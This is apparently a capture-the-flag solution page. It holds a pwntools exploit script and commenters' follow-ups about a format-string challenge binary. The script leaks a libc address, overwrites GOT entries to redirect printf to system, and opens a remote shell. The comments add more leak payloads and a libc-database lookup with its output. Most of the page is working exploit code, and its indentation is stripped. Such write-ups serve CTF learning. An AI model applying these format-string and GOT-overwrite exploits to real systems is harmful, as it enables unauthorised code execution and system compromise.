Rating: 5.0

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from pwnlib.fmtstr import *

exe = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')

host = args.HOST or 'chall.nitdgplug.org'
port = int(args.PORT or 30095)

def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

gdbscript = '''
#tbreak main
continue
'''.format(**locals())

# -- Exploit goes here --

io = start()

io.recvline()
io.recvline()

payload = fmtstr_payload(6, {exe.got.__stack_chk_fail: exe.symbols.main})
payload += b"A"*50
io.sendline(payload)

payload = b"%3$p "
payload += b"A"*80
io.sendline(payload)

io.recvline()
io.recvline()
leak = int(io.recvline()[2:].split(b" ")[0], 16)
libc.address = (leak - 0x111142) & 0xfffffffffffff000
info(f"leak address: 0x{leak:x}")
info(f"libc address: 0x{libc.address:x}")

payload = fmtstr_payload(6, {exe.got.printf: libc.symbols.system})
payload += b"A"*100
io.sendline(payload)

io.sendline(b"/bin/sh")

io.interactive()

```

whiterMarch 6, 2022, 3:14 a.m.

How to confirm the version of libc?


MidnightTracerMarch 7, 2022, 5:38 p.m.

@whiter:

As they showed above from the "fmtstr_payload(6," part, your format string itself starts at parameter field 6. I.e:

./chall
YOU ONLY GET ONE CHANCE SO....
| ? Punch harder ? |
AAAAAAAA-%6$lx
AAAAAAAA-4141414141414141

So you can use this with %s to leak a null terminated string from an address you supply (will terminate at the first null byte, so if the address your trying to leak contains a null byte your in a bit of trouble, but most times if it's something like 0x00007f22e1bf0cc0, you just lose the initial zeros, which you can just re-insert yourself).

So we can do something like:

...
fmt= b'%8$s====' # leak a libc address
fmt+=b'%9$s====' # leak another
fmt+=p64(exe.got.printf)
fmt+=p64(exe.got.puts)
io.sendlineafter(b'|\n', fmt)
leak_printf = u64(io.recvuntil(b'====')[:-4].ljust(8,b'\x00'))
info(f'leaked printf: 0x{leak_printf:016x}')
leak_puts = u64(io.recvuntil(b'====')[:-4].ljust(8,b'\x00'))
info(f'leaked puts: 0x{leak_puts:016x}')
...

running this gives:

[*] leaked printf: 0x00007f22e1bf0cc0
[*] leaked puts: 0x00007f22e1c13450

Grab yourself a copy of the libc database (https://github.com/niklasb/libc-database), update to make sure you have the latest copied.
Plug in our values:

$ ./find printf 0xcc0 puts 0x450
ubuntu-focal-amd64-libc6 (id libc6_2.31-0ubuntu9.7_amd64)
$

You can then tell it to download that version:

./download libc6_2.31-0ubuntu9.7_amd64
Getting libc6_2.31-0ubuntu9.7_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.31-0ubuntu9.7_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.31-0ubuntu9.7_amd64
$


MidnightTracerMarch 7, 2022, 5:44 p.m.

Erg.. sorry those dollar characters did a number on the formatting :/

messed up lines:

fmt= b'%8<dollar>s====' # leak a libc address
fmt+=b'%9<dollar>s====' #leak another

...

<prompt> ./find printf 0xcc0 puts 0x450
ubuntu-focal-amd64-libc6 (id libc6_2.31-0ubuntu9.7_amd64)
<prompt>

Hopefully you can decipher the rest of the text (sorry again)